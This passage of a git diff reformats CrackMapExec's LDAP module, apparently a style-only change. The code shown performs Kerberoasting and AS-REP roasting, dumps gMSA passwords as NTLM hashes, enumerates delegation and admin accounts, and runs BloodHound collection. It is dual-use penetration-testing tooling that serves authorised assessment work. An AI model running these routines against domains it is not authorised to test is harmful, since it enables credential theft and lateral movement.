preferredDialect=SMB_DIALECT + ) self.smbv1 = True if self.conn: self.logger.debug(f"SMBv1 Connection successful") @@ -692,14 +879,25 @@ class ldap(connection): # count of sub authorities sub_authorities = int(sid[1]) # big endian - identifier_authority = int.from_bytes(sid[2:8], byteorder='big') + identifier_authority = int.from_bytes(sid[2:8], byteorder="big") # If true then it is represented in hex - if identifier_authority >= 2 ** 32: + if identifier_authority >= 2**32: identifier_authority = hex(identifier_authority) # loop over the count of small endians - sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)]) - object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority + sub_authority = "-" + "-".join( + [ + str( + int.from_bytes( + sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little" + ) + ) + for i in range(sub_authorities) + ] + ) + object_sid = ( + "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority + ) return object_sid except Exception: pass @@ -709,30 +907,50 @@ class ldap(connection): # 1. get SID of the domaine search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" attributes = ["objectSid"] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and self.password != '' and self.username != '': + if resp and self.password != "" and self.username != "": for attribute in resp[0][1]: - if str(attribute['type']) == 'objectSid': - sid = self.sid_to_str(attribute['vals'][0]) - self.sid_domain = '-'.join(sid.split('-')[:-1]) + if str(attribute["type"]) == "objectSid": + sid = self.sid_to_str(attribute["vals"][0]) + self.sid_domain = "-".join(sid.split("-")[:-1]) # 2. get all group cn name - search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" + search_filter = ( + "(|(objectSid=" + + self.sid_domain + + "-512)(objectSid=" + + self.sid_domain + + "-544)(objectSid=" + + self.sid_domain + + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" + ) attributes = ["distinguishedName"] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - for attribute in item['attributes']: - if str(attribute['type']) == 'distinguishedName': - answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")")) + for attribute in item["attributes"]: + if str(attribute["type"]) == "distinguishedName": + answers.append( + str( + "(memberOf:1.2.840.113556.1.4.1941:=" + + attribute["vals"][0] + + ")" + ) + ) # 3. get member of these groups - search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))" + search_filter = ( + "(&(objectCategory=user)(sAMAccountName=" + + self.username + + ")(|" + + "".join(answers) + + "))" + ) attributes = [""] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: @@ -752,12 +970,14 @@ class ldap(connection): resp = self.ldapConnection.search( searchFilter=searchFilter, attributes=attributes, - sizeLimit=sizeLimit + sizeLimit=sizeLimit, ) return resp except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") + self.logger.fail( + "sizeLimitExceeded exception caught, giving up and processing the data received" + ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -770,8 +990,14 @@ class ldap(connection): def users(self): # Building the search filter search_filter = "(sAMAccountType=805306368)" - attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"] - resp = self.search(search_filter, attributes, sizeLimit=0) + attributes = [ + "sAMAccountName", + "description", + "badPasswordTime", + "badPwdCount", + "pwdLastSet", + ] + resp = self.search(search_filter, attributes, sizeLimit=0) if resp: answers = [] self.logger.display(f"Total of records returned {len(resp):d}") @@ -785,10 +1011,10 @@ class ldap(connection): pwdLastSet = "" try: for attribute in item["attributes"]: - if str(attribute["type"]) == 'sAMAccountName': - sAMAccountName = str(attribute['vals'][0]) - elif str(attribute["type"]) == 'description': - description = str(attribute['vals'][0]) + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = str(attribute["vals"][0]) + elif str(attribute["type"]) == "description": + description = str(attribute["vals"][0]) self.logger.highlight(f"{sAMAccountName:<30} {description}") except Exception as e: self.logger.debug(f"Skipping item, cannot process due to error {e}") @@ -807,7 +1033,7 @@ class ldap(connection): for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - name = '' + name = "" try: for attribute in item["attributes"]: if str(attribute["type"]) == "name": @@ -823,10 +1049,18 @@ class ldap(connection): if self.password == "" and self.nthash == "" and self.kerberos is False: return False # Building the search filter - search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ - (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + search_filter = ( + "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" + % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + ) + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(search_filter, attributes, 0) if resp == []: self.logger.highlight("No entries found!") @@ -838,15 +1072,15 @@ class ldap(connection): if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False - sAMAccountName = '' - memberOf = '' - pwdLastSet = '' + sAMAccountName = "" + memberOf = "" + pwdLastSet = "" userAccountControl = 0 - lastLogon = 'N/A' + lastLogon = "N/A" try: for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": userAccountControl = "0x%x" % int(attribute["vals"][0]) @@ -856,19 +1090,35 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + pwdLastSet = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + lastLogon = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") pass - if len(answers)>0: + if len(answers) > 0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(f"{hash_TGT}") @@ -883,9 +1133,18 @@ class ldap(connection): def kerberoasting(self): # Building the search filter - searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" - attributes = ["servicePrincipalName", "sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + searchFilter = ( + "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + ) + attributes = [ + "servicePrincipalName", + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) if not resp: self.logger.highlight("No entries found!") @@ -912,7 +1171,10 @@ class ldap(connection): userAccountControl = str(attribute["vals"][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = "unconstrained" - elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + elif ( + int(userAccountControl) + & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION + ): delegation = "constrained" elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) @@ -920,38 +1182,67 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + pwdLastSet = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute[ - "vals"][0]))))) + lastLogon = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "servicePrincipalName": for spn in attribute["vals"]: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName} ") + self.logger.debug( + f"Bypassing disabled account {sAMAccountName} " + ) else: for spn in SPNs: - answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) + answers.append( + [ + spn, + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + delegation, + ] + ) except Exception as e: - cme_logger.error(f"Skipping item, cannot process due to error {str(e)}") + cme_logger.error( + f"Skipping item, cannot process due to error {str(e)}" + ) pass if len(answers) > 0: self.logger.display(f"Total of records returned {len(answers):d}") TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] - for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: + for ( + SPN, + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + delegation, + ) in answers: if sAMAccountName not in dejavue: downLevelLogonName = self.targetDomain + "\\" + sAMAccountName try: principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.type = ( + constants.PrincipalNameType.NT_MS_PRINCIPAL.value + ) principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( @@ -960,14 +1251,22 @@ class ldap(connection): self.kdcHost, TGT["KDC_REP"], TGT["cipher"], - TGT["sessionKey"] + TGT["sessionKey"], + ) + r = KerberosAttacks(self).outputTGS( + tgs, + oldSessionKey, + sessionKey, + sAMAccountName, + self.targetDomain + "/" + sAMAccountName, ) - r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName) self.logger.highlight( f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}" ) self.logger.highlight(f"{r}") - with open(self.args.kerberoasting, "a+") as hash_kerberoasting: + with open( + self.args.kerberoasting, "a+" + ) as hash_kerberoasting: hash_kerberoasting.write(r + "\n") dejavue.append(sAMAccountName) except Exception as e: @@ -982,7 +1281,13 @@ class ldap(connection): def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) answers = [] @@ -1010,19 +1315,35 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + pwdLastSet = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + lastLogon = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) @@ -1037,12 +1358,20 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") resp = self.ldapConnection.search( searchFilter=searchFilter, - attributes=["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"], - sizeLimit=0 + attributes=[ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ], + sizeLimit=0, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - self.logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received") + self.logger.debug( + "sizeLimitExceeded exception caught, giving up and processing the data received" + ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -1077,19 +1406,38 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + pwdLastSet = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + lastLogon = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) if mustCommit is True: - answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + status, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") + self.logger.debug( + f"Skipping item, cannot process due to error {str(e)}" + ) pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(f"User: {value[0]} Status: {value[5]}") @@ -1100,7 +1448,13 @@ class ldap(connection): def admin_count(self): # Building the search filter searchFilter = "(adminCount=1)" - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) answers = [] self.logger.debug(f"Total of records returned {len(resp):d}") @@ -1117,7 +1471,7 @@ class ldap(connection): try: for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": userAccountControl = "0x%x" % int(attribute["vals"][0]) @@ -1127,19 +1481,37 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + pwdLastSet = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) + lastLogon = str( + datetime.fromtimestamp( + self.getUnixTime(int(str(attribute["vals"][0]))) + ) + ) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") + self.logger.debug( + f"Skipping item, cannot process due to error {str(e)}" + ) pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) @@ -1152,9 +1524,13 @@ class ldap(connection): search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( searchFilter=search_filter, - attributes=["sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership"], + attributes=[ + "sAMAccountName", + "msDS-ManagedPassword", + "msDS-GroupMSAMembership", + ], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] @@ -1167,7 +1543,7 @@ class ldap(connection): passwd = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) if str(attribute["type"]) == "msDS-ManagedPassword": data = attribute["vals"][0].asOctets() blob = MSDS_MANAGEDPASSWORD_BLOB() @@ -1184,11 +1560,13 @@ class ldap(connection): gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") - bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() + bin_hash = hmac.new( + bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256 + ).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: - str_hash += hex_letters[b & 0x0f] + str_hash += hex_letters[b & 0x0F] str_hash += hex_letters[b >> 0x04] self.logger.debug(f"Hash2: {str_hash}") return str_hash @@ -1204,23 +1582,33 @@ class ldap(connection): searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") + self.logger.debug( + f"Total of records returned {len(gmsa_accounts):d}" + ) for item in gmsa_accounts: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + if ( + isinstance(item, ldapasn1_impacket.SearchResultEntry) + is not True + ): continue sAMAccountName = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": sAMAccountName = str(attribute["vals"][0]) - if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: + if ( + self.decipher_gmsa_name( + self.domain.split(".")[0], sAMAccountName[:-1] + ) + == self.args.gmsa_convert_id + ): self.logger.highlight( f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}" - ) + ) break else: self.logger.fail("No string provided :'(") @@ -1237,20 +1625,30 @@ class ldap(connection): searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") + self.logger.debug( + f"Total of records returned {len(gmsa_accounts):d}" + ) for item in gmsa_accounts: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + if ( + isinstance(item, ldapasn1_impacket.SearchResultEntry) + is not True + ): continue sAMAccountName = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": sAMAccountName = str(attribute["vals"][0]) - if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id: + if ( + self.decipher_gmsa_name( + self.domain.split(".")[0], sAMAccountName[:-1] + ) + == gmsa_id + ): gmsa_id = sAMAccountName break # convert to ntlm @@ -1258,20 +1656,39 @@ class ldap(connection): blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new () - ntlm_hash.update (currentPassword) - passwd = hexlify(ntlm_hash.digest()).decode('utf-8') + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}") else: self.logger.fail("No string provided :'(") def bloodhound(self): - auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto") - ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3) - collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) + auth = ADAuthentication( + username=self.username, + password=self.password, + domain=self.domain, + lm_hash=self.nthash, + nt_hash=self.nthash, + aeskey=self.aesKey, + kdc=self.kdcHost, + auth_method="auto", + ) + ad = AD( + auth=auth, + domain=self.domain, + nameserver=self.args.nameserver, + dns_tcp=False, + dns_timeout=3, + ) + collect = resolve_collection_methods( + "Default" if not self.args.collection else self.args.collection + ) if not collect: return - self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect))) + self.logger.highlight( + "Resolved collection methods: %s", ", ".join(list(collect)) + ) self.logger.debug("Using DNS to retrieve domain information") ad.dns_resolve(domain=self.domain) @@ -1293,10 +1710,12 @@ class ldap(connection): timestamp=timestamp, computerfile=None, cachefile=None, - exclude_dcs=False + exclude_dcs=False, ) - self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip") + self.logger.highlight( + f"Compressing output into {self.output_filename}bloodhound.zip" + ) list_of_files = os.listdir(os.getcwd()) with ZipFile(self.output_filename + "bloodhound.zip", "w") as z: for each_file in list_of_files: diff --git a/cme/protocols/ldap/bloodhound.py b/cme/protocols/ldap/bloodhound.py index cecc08be..b85d2f21 100644 --- a/cme/protocols/ldap/bloodhound.py +++ b/cme/protocols/ldap/bloodhound.py @@ -6,6 +6,7 @@ from bloodhound.enumeration.computers import ComputerEnumerator from bloodhound.enumeration.memberships import MembershipEnumerator from bloodhound.enumeration.domains import DomainEnumerator + class BloodHound(object): def __init__(self, ad, hostname, host, port): self.ad = ad @@ -17,73 +18,117 @@ class BloodHound(object): self.proto_logger(port, hostname, host) def proto_logger(self, port, hostname, host): - self.logger = CMEAdapter(extra={ - 'protocol': 'LDAP', - 'host': host, - 'port': port, - 'hostname': hostname - }) + self.logger = CMEAdapter( + extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname} + ) + def connect(self): if len(self.ad.dcs()) == 0: - self.logger.fail('Could not find a domain controller. Consider specifying a domain and/or DNS server.') + self.logger.fail( + "Could not find a domain controller. Consider specifying a domain and/or DNS server." + ) sys.exit(1) if not self.ad.baseDN: - self.logger.fail('Could not figure out the domain to query. Please specify this manually with -d') + self.logger.fail( + "Could not figure out the domain to query. Please specify this manually with -d" + ) sys.exit(1) pdc = self.ad.dcs()[0] - self.logger.debug('Using LDAP server: %s', pdc) - self.logger.debug('Using base DN: %s', self.ad.baseDN) + self.logger.debug("Using LDAP server: %s", pdc) + self.logger.debug("Using base DN: %s", self.ad.baseDN) if len(self.ad.kdcs()) > 0: kdc = self.ad.kdcs()[0] - self.logger.debug('Using kerberos KDC: %s', kdc) - self.logger.debug('Using kerberos realm: %s', self.ad.realm()) + self.logger.debug("Using kerberos KDC: %s", kdc) + self.logger.debug("Using kerberos realm: %s", self.ad.realm()) # Create a domain controller object self.pdc = ADDC(pdc, self.ad) # Create an object resolver self.ad.create_objectresolver(self.pdc) -# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc) - + # self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc) - def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", computerfile="", cachefile=None, exclude_dcs=False): + def run( + self, + collect, + num_workers=10, + disable_pooling=False, + timestamp="", + computerfile="", + cachefile=None, + exclude_dcs=False, + ): start_time = time.time() if cachefile: self.ad.load_cachefile(cachefile) # Check early if we should enumerate computers as well - do_computer_enum = any(method in collect for method in ['localadmin', 'session', 'loggedon', 'experimental', 'rdp', 'dcom', 'psremote']) + do_computer_enum = any( + method in collect + for method in [ + "localadmin", + "session", + "loggedon", + "experimental", + "rdp", + "dcom", + "psremote", + ] + ) - if 'group' in collect or 'objectprops' in collect or 'acl' in collect: + if "group" in collect or "objectprops" in collect or "acl" in collect: # Fetch domains for later, computers if needed - self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum) + self.pdc.prefetch_info( + "objectprops" in collect, + "acl" in collect, + cache_computers=do_computer_enum, + ) # Initialize enumerator - membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) + membership_enum = MembershipEnumerator( + self.ad, self.pdc, collect, disable_pooling + ) membership_enum.enumerate_memberships(timestamp=timestamp) - elif 'container' in collect: + elif "container" in collect: # Fetch domains for later, computers if needed - self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum) + self.pdc.prefetch_info( + "objectprops" in collect, + "acl" in collect, + cache_computers=do_computer_enum, + ) # Initialize enumerator - membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) + membership_enum = MembershipEnumerator( + self.ad, self.pdc, collect, disable_pooling + ) membership_enum.do_container_collection(timestamp=timestamp) elif do_computer_enum: # We need to know which computers to query regardless # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins - self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=True) - elif 'trusts' in collect: + self.pdc.prefetch_info( + "objectprops" in collect, "acl" in collect, cache_computers=True + ) + elif "trusts" in collect: # Prefetch domains - self.pdc.get_domains('acl' in collect) - if 'trusts' in collect or 'acl' in collect or 'objectprops' in collect: + self.pdc.get_domains("acl" in collect) + if "trusts" in collect or "acl" in collect or "objectprops" in collect: trusts_enum = DomainEnumerator(self.ad, self.pdc) - trusts_enum.dump_domain(collect,timestamp=timestamp) + trusts_enum.dump_domain(collect, timestamp=timestamp) if do_computer_enum: # If we don't have a GC server, don't use it for deconflictation have_gc = len(self.ad.gcs()) > 0 - computer_enum = ComputerEnumerator(self.ad, self.pdc, collect, do_gc_lookup=have_gc, computerfile=computerfile, exclude_dcs=exclude_dcs) - computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp) + computer_enum = ComputerEnumerator( + self.ad, + self.pdc, + collect, + do_gc_lookup=have_gc, + computerfile=computerfile, + exclude_dcs=exclude_dcs, + ) + computer_enum.enumerate_computers( + self.ad.computers, num_workers=num_workers, timestamp=timestamp + ) end_time = time.time() - minutes, seconds = divmod(int(end_time-start_time),60) - self.logger.highlight('Done in %02dM %02dS' % (minutes, seconds)) + minutes, seconds = divmod(int(end_time - start_time), 60) + self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds)) diff --git a/cme/protocols/ldap/database.py b/cme/protocols/ldap/database.py index be639775..7df4a37a 100644 --- a/cme/protocols/ldap/database.py +++ b/cme/protocols/ldap/database.py @@ -3,7 +3,11 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger @@ -15,35 +19,40 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename self.conn = Session() @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" diff --git a/cme/protocols/ldap/db_navigator.py b/cme/protocols/ldap/db_navigator.py index afeb6af1..b1afbf92 100644 --- a/cme/protocols/ldap/db_navigator.py +++ b/cme/protocols/ldap/db_navigator.py @@ -6,7 +6,12 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -15,4 +20,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/ldap/gmsa.py b/cme/protocols/ldap/gmsa.py index baed6fef..5700914e 100644 --- a/cme/protocols/ldap/gmsa.py +++ b/cme/protocols/ldap/gmsa.py @@ -1,35 +1,47 @@ from impacket.structure import Structure + class 